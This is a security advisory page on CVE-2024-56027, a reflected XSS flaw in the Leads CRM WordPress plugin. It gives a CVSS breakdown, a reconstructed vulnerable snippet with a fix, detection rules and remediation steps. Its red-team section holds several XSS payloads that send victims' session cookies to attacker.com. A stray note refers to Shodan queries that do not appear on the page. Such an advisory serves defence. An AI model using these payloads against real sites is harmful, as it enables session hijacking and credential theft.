CVE-2024-56027
Executive Summary
CVE-2024-56027 is a reflected Cross-Site Scripting (XSS) vulnerability in the Leads CRM WordPress plugin by Bizswoop, affecting versions up to and including 2.0.13. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. As of this report, no official patch has been released, and the vendor’s patch status is unknown. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or distributing modified versions of the plugin with backdoors.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited modification of content
- Availability Impact: Low (A:L) – limited disruption
Threat Level: High. While the EPSS score is low, the vulnerability is trivial to exploit and requires no authentication. In a WordPress ecosystem, reflected XSS can be chained with other vulnerabilities (e.g., CSRF) to escalate privileges.
Deep Dive & Mechanics
The vulnerability exists in the Leads CRM plugin’s handling of HTTP GET/POST parameters. The plugin fails to sanitize or escape user input before reflecting it in the HTML response. For example, a parameter like ?search=<script>alert(1)</script> would be echoed back without encoding, allowing script execution.
Root Cause: The plugin uses echo $_GET['param'] or similar constructs without applying WordPress’s esc_html() or wp_kses() functions. This is a classic reflected XSS pattern.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim.com/wp-admin/admin.php?page=leads-crm&search=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script> - Victim clicks the link (e.g., via phishing email).
- The plugin reflects the payload in the page, executing the script.
- The script exfiltrates the victim’s session cookies to the attacker’s server.
Vulnerable vs. Patched Code
Vulnerable Code (hypothetical reconstruction):
// In leads-crm.php or similar
$search = $_GET['search'];
echo '<input type="text" value="' . $search . '">';
Patched Code (expected fix):
$search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo '<input type="text" value="' . esc_attr($search) . '">';
Key Differences:
sanitize_text_field()strips dangerous tags.esc_attr()encodes HTML entities, preventing attribute injection.- The patched version also validates input existence to avoid warnings.
Exploitation & Lab Setup
Red Team (Offensive)
Proof-of-Concept (PoC):
<!-- Save as poc.html and host on attacker server -->
<a href="https://victim.com/wp-admin/admin.php?page=leads-crm&search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">Click me</a>
Manual Exploitation Steps:
- Identify a vulnerable endpoint (e.g.,
admin.php?page=leads-crm). - Inject a payload into a reflected parameter (e.g.,
search,s,q). - Use a payload like
<img src=x onerror=alert(1)>to confirm XSS. - For cookie theft, use:
<script>new Image().src='https://attacker.com/log?c='+document.cookie</script>
Automated Exploitation (using curl):
curl -v "https://victim.com/wp-admin/admin.php?page=leads-crm&search=<script>alert(1)</script>"
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for suspicious query strings containing
<script>,onerror,onload, etc. - Use WAF rules to block reflected XSS patterns (e.g., ModSecurity rule 942100).
- Validate that all user input is sanitized using WordPress functions.
Honeypot Setup:
// Add to functions.php for testing
add_action('init', function() {
if (isset($_GET['search']) && strpos($_GET['search'], '<script>') !== false) {
error_log('XSS attempt detected: ' . $_SERVER['REQUEST_URI']);
wp_die('XSS attempt blocked');
}
});
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with query strings containing
<script>,onerror,onload,javascript:. - Outbound connections to unknown IPs/domains from the WordPress admin panel.
- HTTP requests with query strings containing
- File IOCs:
- Modified
leads-crm.phpor other plugin files with injected eval/base64 code. - Suspicious entries in
wp-content/uploads/(e.g., PHP shells).
- Modified
- Log IOCs:
- Apache/Nginx logs with
%3Cscript%3Eor%3Cimg%20src%3Dx%20onerror%3Din the URI. - WordPress debug.log entries with
XSSorscriptin the message.
- Apache/Nginx logs with
Detection Engineering
YARA Rule
rule CVE_2024_56027_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Leads CRM plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-56027"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
$param = "page=leads-crm"
condition:
any of ($xss*) and $param
}
Sigma Rule
title: Reflected XSS Attempt Against Leads CRM Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the Leads CRM plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'page=leads-crm'
cs-uri-query|re: '(<script|onerror|onload|javascript:)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in search parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-56027 Reflected XSS in Leads CRM"; flow:to_server,established; content:"page=leads-crm"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
- Restrict access to the WordPress admin panel via IP whitelisting or VPN.
Long-Term Fixes:
- Apply input sanitization using WordPress functions (
sanitize_text_field(),esc_html(),esc_attr()). - Use Content Security Policy (CSP) headers to block inline scripts.
- Monitor the vendor’s repository for a patched version (>= 2.0.14).
Workaround (if plugin must remain active):
// Add to theme's functions.php
add_filter('query_vars', function($vars) {
$vars[] = 'search';
return $vars;
});
add_action('init', function() {
if (isset($_GET['search'])) {
$_GET['search'] = sanitize_text_field($_GET['search']);
}
});
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.